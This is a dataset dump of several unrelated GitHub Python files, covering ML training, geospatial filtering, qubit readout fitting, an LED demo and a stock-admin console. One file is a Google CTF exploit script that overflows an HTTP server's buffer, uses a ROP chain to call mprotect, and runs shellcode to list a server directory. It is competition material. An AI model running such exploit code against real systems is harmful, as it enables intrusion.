hist_predicted_label) # E is N-by-N matrix which is outer product of \n\n # histogram of actual and predicted label \n\n for i in range(N): # w is N-by-N matrix which is calculated by the given expression\n\n for j in range(N):\n\n w[i][j] = (i-j)**2/((N-1)**2)\n\n\n\n E = E/E.sum()\n\n O = conf_mat/conf_mat.sum() # normalize confusion matrix and E\n\n\n\n for i in range(N):\n\n for j in range(N): # this section calculates numerator and denominator \n\n numerator+=w[i][j]*O[i][j]\n\n denominator+=w[i][j]*E[i][j]\n\n\n\n kappa = 1-numerator/denominator\n\n \n\n return kappa\n## testing code for function calculate_QWK()\n\nactual_label_temp = np.array([0,3,2,3,1,0,2,1,2,1,0])\n\npredicted_label_temp = np.array([0,3,2,3,1,0,2,1,2,1,0])\n\nprint('QWK when actual_label and predicted_label are same is :',calculate_QWK(actual_label_temp,predicted_label_temp))\n\n\n\nactual_label_temp = np.array([0,3,0,3,2,0,3,1,2,3,0])\n\npredicted_label_temp = np.array([0,3,2,3,1,0,2,1,2,1,0])\n\nprint('QWK when actual_label and predicted_label are different is :',calculate_QWK(actual_label_temp,predicted_label_temp))\nX = final_training_data.copy()\n\nX_test = final_test_data.copy()\n\ny = X['accuracy_group'].values\n\ny_test = X_test['accuracy_group'].values\n## if we include features 'correct_count','incorect_count' and 'accuracy' to train a model then\n\n## it will become a trvial task like if-else condition to predict the label that we dont want. \n\n## we calculated 'correct_count','incorect_count' and 'accuracy' to get the label of training and test data but\n\n## we want our model to predict the label without those feature thats why we will remove those feature.\n\n\n\nX = X.drop(['correct_count','incorrect_count','accuracy','accuracy_group','installation_id'], axis=1)\n\nX_test = X_test.drop(['correct_count','incorrect_count','accuracy','accuracy_group','installation_id'],axis =1)\n\n\n\nX_train, X_cv, y_train, y_cv = train_test_split(X, y,stratify=y,test_size=0.2)\n\nX_train = X_train.values\n\nX_cv = X_cv.values\n\nX_test = X_test.values\n\n\n\nprint('size of training data and labels :',X_train.shape,y_train.shape)\n\nprint('size of cv data and labels :',X_cv.shape,y_cv.shape)\n\nprint('size of test data and labels :',X_test.shape,y_test.shape)\n## train a very simple XGBClassifier base model with default parameter\n\nstart = time.time()\n\nmodel = XGBClassifier()\n\nmodel.fit(X_train,y_train)\n\n\n\nactual_label = y_test\n\npredicted_label = model.predict(X_test)\n\n\n\nprint('Quadratic weighted kappa with simple base model :',calculate_QWK(actual_label,predicted_label))\n\nprint('time: ',time.time() - start)\n# reference : https://scikit-learn.org/stable/modules/generated/sklearn.model_selection.RandomizedSearchCV.html\n\n# reference : https://scikit-learn.org/stable/modules/generated/sklearn.metrics.make_scorer.html#sklearn.metrics.make_scorer\n\n'''\n\nstart = time.time()\n\nparams = {'max_depth':[3,4,5,6,7],\n\n 'min_child_weight':[0.01,0.1,1,10],\n\n 'n_estimators':[50,100,200,500]}\n\n\n\nQWK_scorer = make_scorer(calculate_QWK, greater_is_better=True)\n\n\n\nmodel = xgb.XGBClassifier(booster='gbtree')\n\ngrid = RandomizedSearchCV(model, param_distributions=params, scoring = QWK_scorer, \\\n\n n_jobs=-1,cv=5,return_train_score=True) \n\n \n\ngrid.fit(X_train,y_train) \n\n\n\nmodel = grid.best_estimator_\n\nmodel.fit(X_train,y_train)\n\n\n\nprint('time taken to train the model in sec:',time.time() - start)\n\n'''\nactual_label = y_train\n\npredicted_label = model.predict(X_train)\n\nprint('Quadratic weighed kappa for training data is :',calculate_QWK(actual_label,predicted_label))\n\n\n\nactual_label = y_cv\n\npredicted_label = model.predict(X_cv)\n\nprint('Quadratic weighed kappa for cross validation data is :',calculate_QWK(actual_label,predicted_label))\n\n\n\nactual_label = y_test\n\npredicted_label = model.predict(X_test)\n\nprint('Quadratic weighed kappa for test data is :',calculate_QWK(actual_label,predicted_label))\nmy_submission = pd.DataFrame(data = final_test_data['installation_id'],columns=['installation_id'])\n\nmy_submission['accuracy_group'] = predicted_label\nk = 0\n\nfor i in range(len(sample_submission)):\n\n if sample_submission['installation_id'][i]==my_submission['installation_id'][i]:\n\n k+=1\n\n else:\n\n print(sample_submission['installation_id'][i])\n\n print(my_submission['installation_id'][i])\n\nprint(k)\n\ntype(sample_submission['accuracy_group'][0])==type(my_submission['accuracy_group'][0])\ncomp_test_df = final_test_data.reset_index()\n\ncomp_test_df = comp_test_df[['installation_id']]\n\ncomp_test_df['accuracy_group'] = predicted_label\n\nsample_submission.drop('accuracy_group', inplace = True, axis = 1)\n\nsample_submission = sample_submission.merge(comp_test_df, on = 'installation_id')\n\nsample_submission.to_csv('submission.csv', index = False)\n\nprint('done !')","repo_name":"aorursy/new-nb-5","sub_path":"niteshkumardew_quickxgbclassifier.py","file_name":"niteshkumardew_quickxgbclassifier.py","file_ext":"py","file_size_in_byte":16672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"26846278329","text":"import logging\n\nfrom shapely import geometry\n\nLOGGER = logging.getLogger(__name__)\n\n\ndef is_message_within_bbox(message_geometry: dict, bbox_filter: list) -> bool:\n \"\"\"\n Assesses whether one geometry is within another\n\n :param message geometry: GeoJSON geometry to test\n :param bbox_filter: geometry of bbox filter (minx, miny, maxx, maxy)\n\n :returns: `bool` of assessment result\n \"\"\"\n\n geometry1 = geometry.shape(message_geometry)\n geometry2 = geometry.box(*bbox_filter)\n\n if geometry1.type == 'Point':\n LOGGER.debug('Testing within')\n return geometry1.within(geometry2)\n else: # line, polygon\n LOGGER.debug('Testing intersects')\n return geometry1.intersects(geometry2)\n","repo_name":"wmo-im/pywis-pubsub","sub_path":"pywis_pubsub/geometry.py","file_name":"geometry.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"39362692312","text":"import warnings\nfrom collections import defaultdict\n\nimport numpy as np\nfrom scipy.optimize import minimize\nfrom scipy.special import erf, erfinv\n\nfrom .geo import EPS, point_in_polygon\n\n\ndef count_state(state):\n ret = defaultdict(lambda: 0)\n for s in state:\n ret[tuple(s)] += 1\n return dict(ret)\n\n\ndef count_to_diag(count, shape=None):\n state = list(count.keys())\n if shape is None:\n shape = (2, ) * len(state[0])\n n = np.asarray(list(count.values()))\n p = n / np.sum(n)\n state = np.ravel_multi_index(np.asarray(state).T, shape)\n ret = np.zeros(shape).reshape(-1)\n ret[state] = p\n return ret\n\n\ndef _atleast_type(a, dtype):\n if dtype == np.double and a.dtype.type == np.int8:\n return a.astype(np.double)\n elif dtype == complex and a.dtype.type in [np.int8, np.double]:\n return a.astype(complex)\n else:\n return a\n\n\n__classify_methods = {}\n\n\ndef install_classify_method(method: str, func: callable):\n __classify_methods[method] = func\n\n\ndef uninstall_classify_method(method: str):\n if method in __classify_methods:\n del __classify_methods[method]\n\n\ndef classify(data, method, params):\n if method in __classify_methods:\n return __classify_methods[method](data, params)\n else:\n raise ValueError(\"method not found\")\n\n\ndef default_classify(data, params):\n \"\"\"\n 默认的分类方法\n \"\"\"\n thr = params.get('threshold', 0)\n phi = params.get('phi', 0)\n return 1 + ((data * np.exp(-1j * phi)).real > thr)\n\n\ndef classify_svm(data, params):\n \"\"\"\n 分类方法:SVM\n \"\"\"\n raise NotImplementedError\n from sklearn import svm\n\n clf = svm.SVC(kernel='rbf',\n gamma=params.get('gamma', 1),\n C=params.get('C', 1))\n clf.fit(data, data)\n return clf.predict(data)\n\n\ndef classify_kmeans(data, params):\n \"\"\"\n 分类方法:KMeans\n \"\"\"\n from sklearn.cluster import KMeans\n\n centers = params.get('centers', None)\n if isinstance(centers, list):\n centers = np.asarray(centers)\n\n k = params.get('k', None)\n if k is None and centers is not None:\n k = np.asarray(centers).shape[0]\n cur_shape = data.shape\n\n flatten_init = np.array([np.real(centers), np.imag(centers)]).T\n\n flatten_data = data.flatten()\n ret_ans = KMeans(n_clusters=k, init=flatten_init).fit_predict(\n np.array([np.real(flatten_data),\n np.imag(flatten_data)]).T)\n return 2**ret_ans.reshape(cur_shape)\n\n\ndef classify_nearest(data, params):\n \"\"\"\n 分类方法:最近邻\n \"\"\"\n centers = params.get('centers', None)\n if centers is None:\n raise ValueError(\"centers not found\")\n return 2**np.argmin([np.abs(data - c) for c in centers], axis=0)\n\n\ndef classify_range(data, params):\n \"\"\"\n 分类方法:范围\n \"\"\"\n centers = params.get('centers', None)\n radians = params.get('radians', None)\n if centers is None:\n raise ValueError(\"centers not found\")\n if radians is None:\n return 2**np.argmin([np.abs(data - c) for c in centers], axis=0)\n\n ret = np.full_like(data, 0, dtype=int)\n for i, (c, r) in enumerate(zip(centers, radians)):\n ret[np.abs(data - c) <= r] += 2**i\n return ret\n\n\ndef classify_polygon(data, params):\n \"\"\"\n 分类方法: 多边形内\n \"\"\"\n polygons = params.get('polygons', None)\n eps = params.get('eps', EPS)\n if polygons is None:\n raise ValueError(\"polygons not found\")\n\n ret = np.full_like(data, 0, dtype=int)\n for i, polygon in enumerate(polygons):\n ret[point_in_polygon(data, polygon, eps)] += 2**i\n return ret\n\n\ninstall_classify_method(\"state\", default_classify)\ninstall_classify_method(\"nearest\", classify_nearest)\ninstall_classify_method(\"range\", classify_range)\ninstall_classify_method(\"kmeans\", classify_kmeans)\ninstall_classify_method(\"polygon\", classify_polygon)\n\n\ndef classify_data(data, measure_gates, avg=False):\n assert data.shape[-1] == len(\n measure_gates), 'number of qubits must equal to the size of last axis'\n\n ret = np.zeros_like(data, dtype=np.int8)\n\n for i, g in enumerate(measure_gates):\n signal = g['params'].get('signal', 'state')\n\n if signal in __classify_methods:\n ret[..., i] = classify(data[..., i], signal, g['params'])\n elif signal == 'amp':\n phi = g['params'].get('phi', 0)\n ret = _atleast_type(ret, np.double)\n ret[..., i] = (data[..., i] * np.exp(-1j * phi)).real\n if signal == 'raw':\n ret = _atleast_type(ret, complex)\n ret[..., i] = data[..., i]\n elif signal == 'real':\n ret = _atleast_type(ret, np.double)\n ret[..., i] = data[..., i].real\n elif signal == 'imag':\n ret = _atleast_type(ret, np.double)\n ret[..., i] = data[..., i].imag\n elif signal == 'abs':\n ret = _atleast_type(ret, np.double)\n ret[..., i] = np.abs(data[..., i])\n else:\n pass\n if avg:\n ret = ret.mean(axis=-2)\n return ret\n\n\ndef cdf(t, data):\n data.sort()\n x = data\n y = np.linspace(0, 1, len(data))\n if t is None:\n return x, y\n else:\n return np.interp(t, x, y, left=0, right=1)\n\n\ndef gaussian_pdf(x, mu, sigma):\n return 1 / (sigma * np.sqrt(2 * np.pi)) * np.exp(-0.5 *\n ((x - mu) / sigma)**2)\n\n\ndef gaussian_pdf_2d(z, mu, cov):\n z = z - mu\n v = np.moveaxis(np.array([z.real, z.imag]), 0, -1).reshape(*z.shape, 2, 1)\n vT = np.moveaxis(v, -1, -2)\n m = np.linalg.inv(cov)\n return 1 / (2 * np.pi * np.sqrt(np.linalg.det(cov))) * np.exp(\n -0.5 * vT @ m @ v)[..., 0, 0]\n\n\ndef gaussian_cdf(x, mu, sigma):\n return 0.5 * (1 + erf((x - mu) / (sigma * np.sqrt(2))))\n\n\ndef gaussian_cdf_inv(y, mu, sigma):\n return np.sqrt(2) * sigma * erfinv(2 * y - 1) + mu\n\n\ndef mult_gaussian_pdf(x, mu, sigma, amp):\n amp /= np.sum(amp)\n ret = np.zeros_like(x)\n for i in range(len(mu)):\n ret += amp[i] * gaussian_pdf(x, mu[i], sigma[i])\n return ret\n\n\ndef mult_gaussian_cdf(x, mu, sigma, amp):\n amp /= np.sum(amp)\n ret = np.zeros_like(x)\n for i in range(len(mu)):\n ret += amp[i] * gaussian_cdf(x, mu[i], sigma[i])\n return ret\n\n\ndef readout_distribution(s, p, c0, c1, cov0, cov1):\n return gaussian_pdf_2d(s, c0, cov0) * p + gaussian_pdf_2d(s, c1,\n cov1) * (1 - p)\n\n\ndef median_complex(c, axis=None):\n return np.median(c.real, axis=axis) + 1j * np.median(c.imag, axis=axis)\n\n\ndef fit_readout_distribution(s0, s1):\n centers = [median_complex(s0), median_complex(s1)]\n for _ in range(3):\n m0 = classify_nearest(s0, {'centers': centers}) == 1\n m1 = classify_nearest(s1, {'centers': centers}) == 2\n centers = [median_complex(s0[m0]), median_complex(s1[m1])]\n\n center = np.mean(centers)\n s0, s1 = s0 - center, s1 - center\n scale = np.max([*np.abs(centers), s0[m0].std(), s1[m1].std()])\n s0, s1 = s0 / scale, s1 / scale\n centers = [median_complex(s0[m0]), median_complex(s1[m1])]\n r0, r1 = np.std(s0[m0]), np.std(s1[m1])\n\n def a_b_phi_2_cov(a, b, phi):\n m = np.array([[np.cos(phi) * a, -np.sin(phi) * b],\n [np.sin(phi) * a, np.cos(phi) * b]])\n\n return m @ m.T\n\n def cov_2_a_b_phi(cov):\n x, y, z = cov[0, 0], cov[1, 1], cov[0, 1]\n a = (x - y) / z\n b = np.sqrt(4 + a**2)\n c = np.sqrt(8 + 2 * a**2 + (2 * a**3 + 8 * a) / b)\n t = -a / 2 - b / 2 + c / 2\n d = 1 - 6 * t**2 + t**4\n phi = np.arctan2(2 * t, 1 - t**2)\n a = np.sqrt(-(-x + 2 * t**2 * x - t**4 * x + 4 * t**2 * y) / d)\n b = np.sqrt(-(4 * t**2 * x - y + 2 * t**2 * y - t**4 * y) / d)\n return a, b, phi\n\n def loss(params, s0, s1):\n cr0, cr1, rr0, rr1, ci0, ci1, ri0, ri1, p0, p1, phi0, phi1 = params\n\n c0, c1 = cr0 + 1j * ci0, cr1 + 1j * ci1\n\n cov0 = a_b_phi_2_cov(rr0, ri0, phi0)\n cov1 = a_b_phi_2_cov(rr1, ri1, phi1)\n\n eps = 1e-100\n return (\n -np.log(readout_distribution(s0, p0, c0, c1, cov0, cov1) +\n eps).sum() -\n np.log(readout_distribution(s1, p1, c0, c1, cov0, cov1) +\n eps).sum())\n\n res = minimize(loss, [\n centers[0].real, centers[1].real, r0, r1, centers[0].imag,\n centers[1].imag, r0, r1, 1.0, 0.0, 0, 0\n ],\n args=(s0, s1),\n bounds=[(None, None), (None, None), (1e-6, None),\n (1e-6, None), (None, None), (None, None),\n (1e-6, None), (1e-6, None), (0, 1), (0, 1),\n (0, 2 * np.pi), (0, 2 * np.pi)])\n\n cr0, cr1, rr0, rr1, ci0, ci1, ri0, ri1, p0, p1, phi0, phi1 = res.x\n c0, c1 = cr0 + 1j * ci0, cr1 + 1j * ci1\n c0, c1 = c0 * scale + center, c1 * scale + center\n cov0 = a_b_phi_2_cov(rr0, ri0, phi0)\n cov1 = a_b_phi_2_cov(rr1, ri1, phi1)\n\n return (c0, c1, rr0 * scale, rr1 * scale, ri0 * scale, ri1 * scale, p0, p1,\n phi0, phi1, cov0 * scale**2, cov1 * scale**2)\n\n\ndef fit_readout_distribution2(s0, s1):\n center = 0.5 * (s0.mean() + s1.mean())\n s0, s1 = s0 - center, s1 - center\n\n scale = np.max([np.abs(s0.mean()), np.abs(s1.mean()), s0.std(), s1.std()])\n\n s0, s1 = s0 / scale, s1 / scale\n\n def loss(params, s0, s1):\n cr0, cr1, rr0, rr1, ci0, ci1, ri0, ri1, p0, p1 = params\n\n x0, y0 = cdf(None, s0.real)\n x1, y1 = cdf(None, s1.real)\n x2, y2 = cdf(None, s0.imag)\n x3, y3 = cdf(None, s1.imag)\n\n Y0 = mult_gaussian_cdf(x0, [cr0, cr1], [rr0, rr1], [p0, 1 - p0])\n Y1 = mult_gaussian_cdf(x1, [cr0, cr1], [rr0, rr1], [p1, 1 - p1])\n Y2 = mult_gaussian_cdf(x2, [ci0, ci1], [ri0, ri1], [p0, 1 - p0])\n Y3 = mult_gaussian_cdf(x3, [ci0, ci1], [ri0, ri1], [p1, 1 - p1])\n\n return (np.sum((Y0 - y0)**2) + np.sum((Y1 - y1)**2) + np.sum(\n (Y2 - y2)**2) + np.sum((Y3 - y3)**2))\n\n res = minimize(loss, [\n s0.real.mean(),\n s1.real.mean(),\n s0.real.std(),\n s1.real.std(),\n s0.imag.mean(),\n s1.imag.mean(),\n s0.imag.std(),\n s1.imag.std(), 1, 0\n ],\n args=(s0, s1),\n bounds=[(None, None), (None, None), (1e-6, None),\n (1e-6, None), (None, None), (None, None),\n (1e-6, None), (1e-6, None), (0, 1), (0, 1)])\n\n cr0, cr1, rr0, rr1, ci0, ci1, ri0, ri1, p0, p1 = res.x\n c0, c1 = cr0 + 1j * ci0, cr1 + 1j * ci1\n c0, c1 = c0 * scale + center, c1 * scale + center\n\n return (c0, c1, rr0 * scale, rr1 * scale, ri0 * scale, ri1 * scale, p0, p1,\n 0, 0)\n\n\ndef get_threshold_info(s0, s1, thr=None, phi=None):\n from sklearn import svm\n\n s0, s1 = np.asarray(s0), np.asarray(s1)\n\n if phi is None:\n data = np.hstack([s0, s1])\n scale = 0.2 * np.abs(data).max()\n data /= scale\n target = np.hstack(\n [np.zeros_like(s0, dtype=float),\n np.ones_like(s1, dtype=float)])\n X = np.c_[np.real(data), np.imag(data)]\n clf = svm.LinearSVC(dual='auto')\n clf.fit(X, target)\n A, B, C = clf.coef_[0, 0], clf.coef_[0, 1], clf.intercept_[0]\n phi = np.arctan2(B, A)\n #thr = -scale * C / np.sqrt(A**2 + B**2)\n\n re0 = (s0 * np.exp(-1j * phi)).real\n re1 = (s1 * np.exp(-1j * phi)).real\n im0 = (s0 * np.exp(-1j * phi)).imag\n im1 = (s1 * np.exp(-1j * phi)).imag\n\n x = np.unique(np.hstack([re0, re1]))\n x.sort()\n a = cdf(x, re0)\n b = cdf(x, re1)\n c = a - b\n\n visibility = c.max()\n\n if thr is None:\n thr = x[c == visibility]\n thr = 0.5 * (thr.min() + thr.max())\n\n (c0, c1, rr0, rr1, ri0, ri1, p0, p1, phi0, phi1, cov0,\n cov1) = fit_readout_distribution(re0 + 1j * im0, re1 + 1j * im1)\n\n params_r = np.array([c0.real, c1.real, rr0, rr1, p0, p1, phi0])\n params_i = np.array([c0.imag, c1.imag, ri0, ri1, p0, p1, phi1])\n\n return {\n 'threshold': thr,\n 'phi': phi,\n 'visibility': (visibility, cdf(thr, re0), cdf(thr, re1)),\n 'signal': (re0, re1),\n 'idle': (im0, im1),\n 'center': (c0, c1),\n 'params': (params_r, params_i),\n 'std': (rr0, ri0, rr1, ri1, cov0, cov1),\n 'cdf': (x, a, b, c)\n }\n\n\ndef getThresholdInfo(s0, s1):\n warnings.warn('getThresholdInfo is deprecated, use get_threshold_info',\n DeprecationWarning, 2)\n return get_threshold_info(s0, s1)\n\n\ndef classifyData(data, measure_gates, avg=False):\n warnings.warn('classifyData is deprecated, use classify_data',\n DeprecationWarning, 2)\n return classify_data(data, measure_gates, avg=avg)\n\n\ndef countState(state):\n warnings.warn('countState is deprecated, use count_state',\n DeprecationWarning, 2)\n return count_state(state)\n","repo_name":"feihoo87/waveforms","sub_path":"waveforms/math/fit/readout.py","file_name":"readout.py","file_ext":"py","file_size_in_byte":12999,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"22"} +{"seq_id":"21183669703","text":"#!/usr/bin/env python\nfrom sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py\n\nbin_file = './http'\ncontext(os = 'linux', arch = 'amd64')\ncontext.log_level = 'debug'\n\n#==========\n\nenv = Environment('debug', 'local', 'remote')\nenv.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')\nenv.set_item('target', debug = {'argv':[bin_file], 'aslr':False}, \\\n local = {'argv':[bin_file]}, \\\n remote = {'host':'mitigator.ctfcompetition.com', 'port':1337})\nenv.select()\n\n#==========\n\nbinf = ELF(bin_file)\naddr_path = binf.symbols['path']\n#addr_start_main = binf.sep_function['generic_start_main']\naddr_main = binf.sep_function['main']\n'''\naddr_plt_puts = binf.plt['puts']\naddr_got_main = binf.got['__libc_start_main']\naddr_bss = binf.sep_section['.bss']\n'''\n\n#==========\n\ndef attack(conn):\n '''\n payload = p64(addr_path + 0x18)\n payload += p64(addr_path + 0x18+0x28)\n payload += p64(0)\n payload += '/lib/x86_64-linux-gnu/ld-2.27.so'.ljust(0x28, '\\x00')\n payload += '/proc/1/exe'\n '''\n #rop.execve(addr_path+0x18, addr_path, 0)\n\n rop = ROP(binf)\n rop.mprotect(addr_path & ~0xfff, 0x1000, constants.PROT_READ | constants.PROT_WRITE | constants.PROT_EXEC)\n\n shellasm = '''\n xor rax, rax\n mov al, 2 \n lea rdi, [rip+dir] \n xor rsi, rsi \n xor rdx, rdx \n syscall\t\n\n mov rdi,rax \t\t\n xor rdx,rdx\n xor rax,rax\n mov dx, 0x3210 \t\n sub rsp, rdx \t\n mov rsi, rsp \t\n mov al, 78 \t\n syscall\n\n xchg rax,rdx\n\n xor rax, rax\n xor rdi,rdi\n \n inc eax\n inc edi\n mov rsi, rsp\n syscall\n\n xor rax, rax\n mov al, 60\n syscall\n\ndir:\n .string \"/home/user/www/cgi-bin\"\n '''\n payload = asm(shellasm)\n\n exploit = 'POST /{path}? '.format(path=payload)\n exploit += 'a'*(0x408-1)\n exploit += p64(0xdeadbeef)\n exploit += str(rop)\n exploit += p64(addr_path)\n\n raw_input('>')\n conn.sendline(exploit)\n\n#==========\n\nif __name__=='__main__':\n conn = communicate(env.mode, **env.target)\n attack(conn)\n conn.interactive()\n \n#==========\n","repo_name":"shift-crops/CTFWriteups","sub_path":"2018/Google CTF/Finals/JAIL/MITIGATOR/exploit_http_ls.py","file_name":"exploit_http_ls.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"22"} +{"seq_id":"30047356978","text":"import mlflow\nimport argparse\nimport os\nimport shutil\nfrom tqdm import tqdm\nimport logging\nfrom src.utils.common import read_yaml, create_directories\nimport random\n#this is a default template. to use and create complete end to end ml flow project.\n\nSTAGE = \"Main\" ## <<< change stage name \nlogging.basicConfig(\n filename=os.path.join(\"logs\", 'running_logs.log'), \n level=logging.INFO, \n format=\"[%(asctime)s: %(levelname)s: %(module)s]: %(message)s\",\n filemode=\"a\"\n )\n\n#1:40:00 mlflow 2 video...\n\n#now in mail.py we we use mlflow to run it and work.\ndef main():\n with mlflow.start_run() as run:\n \n mlflow.run(\".\", \"get_data\", use_conda=False)\n mlflow.run(\".\", \"base_model\", use_conda=False)\n # mlflow.run(\".\", \"training\", use_conda=False)\n\n\n\nif __name__ == '__main__':\n\n try:\n logging.info(\"\\n********************\")\n logging.info(f\">>>>> stage {STAGE} started <<<<<\")\n main()\n logging.info(f\">>>>> stage {STAGE} completed!<<<<<\\n\")\n except Exception as e:\n logging.exception(e)\n raise e\n","repo_name":"saikumar0605/MLflow-cnn-application","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"18919450975","text":"\r\nimport time\r\nimport random\r\nfrom NeoMatrix import neoMatrix\r\nimport sys\r\n\t\t\r\nclass MatrixDemo:\r\n\tdef __init__(self):\r\n\t\tself.Matrix=neoMatrix(4,8,8)\r\n\t\t\r\n\tdef demo(self,loopCount=1):\r\n\t\r\n\t\tfor loop in range(0,loopCount):\r\n\t\t\tprint(\"Set random colors\")\r\n\t\t\tfor x in range(0,8):\r\n\t\t\t\tfor y in range(0,8):\r\n\t\t\t\t\tr=random.getrandbits(8)\t# binary 0-255\r\n\t\t\t\t\tg=random.getrandbits(8)\r\n\t\t\t\t\tb=random.getrandbits(8)\r\n\t\t\t\t\t\r\n\t\t\t\t\tself.Matrix.setPixel(x,y,(r,g,b))\r\n\t\t\t\t\tself.Matrix.display()\r\n\t\t\t\t\t\r\n\t\t\ttime.sleep(5)\r\n\t\t\r\n\t\t\t# fade out/in\r\n\t\t\t# if we fade out to black can we ever get the \r\n\t\t\t# color back unless we store values as HSL?\r\n\t\t\tprint(\"Fade out\")\r\n\t\t\tfor brightness in range(10,1):\r\n\t\t\t\tself.Matrix.setMatrixPerceivedBrightness(10.0*brightness) # 0-100%\r\n\t\t\t\tself.Matrix.display()\r\n\t\t\t\ttime.sleep(0.5)\r\n\t\t\t\r\n\t\t\tprint(\"Fade in\")\r\n\t\t\tfor brightness in range(1,10):\r\n\t\t\t\tself.Matrix.setMatrixPerceivedBrightness(10.0*brightness) # 0-100%\r\n\t\t\t\tself.Matrix.display()\r\n\t\t\t\ttime.sleep(0.5)\r\n\t\t\t\t\r\n\t\tself.Matrix.clear()\r\n\r\nMD=MatrixDemo()\r\nprint(\"Start with \\nNeoMatrixDemo.MD.demo(5) or\")\r\nprint(\"\\nMD=NeoMatrixDemo.MatrixDemo()\\nMD.demo(5)\")","repo_name":"BNNorman/MicropythonPrograms","sub_path":"NeoMatrix/NeoMatrixDemo.py","file_name":"NeoMatrixDemo.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"15660827927","text":"#menu login admin\r\naccount_admin_user = ['nama']\r\naccount_admin_passw = ['saya']\r\nwhile True:\r\n print('====== Selamat datang di menu login. ======')\r\n print(\"\"\"\r\n [1] Login admin user\r\n [2] Buat akun admin\r\n [3] Keluar menu login admin\r\n \"\"\")\r\n opsi_menu = input('Pilih angka (1/2/3) : ')\r\n opsi_menu = int(opsi_menu)\r\n if opsi_menu == 2:\r\n print('Buat akun')\r\n user = input('Masukkan username baru : ')\r\n password = input('Masukkan password baru : ')\r\n account_admin_user.append(user)\r\n account_admin_passw.append(password)\r\n print('Akun admin telah dibuat')\r\n print('Silahkan login.')\r\n elif opsi_menu == 3:\r\n print('Terimakasih.')\r\n elif opsi_menu == 1:\r\n print('Silahkan login ')\r\n print(\"-------------------\")\r\n user = input('User : ')\r\n password = input('Password : ')\r\n pesan = False\r\n for i in range(0,len(account_admin_user)):\r\n\r\n if password == account_admin_passw[i] and user == account_admin_user[i]:\r\n pesan = True\r\n if pesan == True: \r\n print(\"-------------------\")\r\n print('Anda berhasil login')\r\n break\r\n else:\r\n print('Gagal login ')\r\n\r\n\r\ndata = {\r\n \"Aqua 500 ml\" : 107,\r\n \"Aqua 250 ml\" : 70,\r\n \"Royko Ayam 150 gr\" : 20,\r\n \"Royko Sapi 150 gr\" : 43,\r\n \"Garam Jempol 200 gr\" : 34,\r\n \"Kuaci Rebo Greentea 150 gr\" : 22,\r\n \"Kuaci Rebo Milk\" : 67, \r\n \"Indomie Kari Ayam\" : 234,\r\n \"Indomie Goreng\" : 45,\r\n \"Lemonilo Goreng\" : 13,\r\n \"Ultramilk 200 ml\" : 73\r\n\r\n}\r\n\r\n\r\n#A\r\ndef input_stock() :\r\n print(\"\"\"\r\n ======================================\r\n INPUT BARANG\r\n ======================================\r\n \"\"\")\r\n name = input(\"Masukkan Nama Barang : \")\r\n stok = input(\"Masukkan Jumlah Stock : \")\r\n data[name]=stok\r\n for key,val in data.items():\r\n print(key,\":\",val)\r\n looping()\r\n\r\n#B\r\ndef cek_stock():\r\n print(\"\"\"\r\n ======================================\r\n STOCK BARANG TERBARU\r\n ======================================\r\n \"\"\")\r\n for key,val in data.items():\r\n print(\"%s : %d\" % (key,val))\r\n looping()\r\n\r\n#C\r\ndef update(): \r\n for key,val in data.items():\r\n print(\"%s : %d\" % (key,val))\r\n print(\"Data Yang Ingin Diupdate\")\r\n update = input(\"Masukkan Nama Stock yang ingin diupdate : \")\r\n stok_up = int(input(\"Masukkan banyak barang yang masuk : \"))\r\n a = data.get(update)\r\n total_stok = a+stok_up\r\n data[update]=total_stok\r\n print(\"\"\"\r\n ======================================\r\n STOCK BARANG TERUPDATE\r\n ======================================\r\n \"\"\")\r\n for key,val in data.items():\r\n print(\"%s : %d\" % (key,val))\r\n looping()\r\n\r\n#D\r\ndef delete():\r\n for key,val in data.items():\r\n print(\"%s : %d\" % (key,val))\r\n print(\"-----------------------------\")\r\n hapus = input(\"Masukkan Nama Data yang ingin dihapus : \")\r\n del data[hapus] \r\n print(\"\"\"\r\n ======================================\r\n STOCK TERBARU\r\n ======================================\r\n \"\"\")\r\n for key,val in data.items():\r\n print(\"%s : %d\" % (key,val))\r\n looping()\r\n\r\n#E\r\ndef exit() :\r\n print(\"=\"*50)\r\n print(\"Sesi Berakhir\")\r\n print(\"=\"*50)\r\n\r\n#Looping Main MENU \r\ndef looping():\r\n print()\r\n loop = input(\"Back To Main Menu? [Y\\T] : \")\r\n if loop == \"Y\" or \"y\" :\r\n main_menu()\r\n if loop == \"T\" or \"t\" :\r\n exit()\r\n\r\n#MAIN MENU\r\ndef main_menu(): \r\n print(\"\"\" \r\n >>>>>>>>>>>>>>>>>>>>>>>>>>>\r\n MAIN MENU\r\n <<<<<<<<<<<<<<<<<<<<<<<<<<<\r\n |A| Input Stok \r\n |B| Cek Stok\r\n |C| Update Stok\r\n |D| Delete Stok\r\n |E| EXIT\r\n \"\"\")\r\n pilihan = input(\"Pilih menu : \")\r\n if pilihan == 'A' :\r\n input_stock()\r\n elif pilihan == 'B' :\r\n cek_stock()\r\n elif pilihan == \"C\" :\r\n update()\r\n elif pilihan == \"D\" :\r\n delete()\r\n elif pilihan == \"E\" :\r\n exit()\r\n else :\r\n print(\"Masukkan Variable dengan benar\")\r\n\r\nmain_menu()\r\n","repo_name":"EklecciaR27/POSTTEST-ALPRO-","sub_path":"COMBINE codingan.py","file_name":"COMBINE codingan.py","file_ext":"py","file_size_in_byte":4319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"30468645865","text":"import os\nimport math\nimport random\nimport json\n\nimport config\n\n\nDATA_FILE = config.DATA_FILE\n\nSPLIT_PATH = config.SPLIT_PATH\nTRAIN_FILE = config.TRAIN_FILE\nDEV_FILE = config.DEV_FILE\nTEST_FILE = config.TEST_FILE\n\nDEV_RATIO = 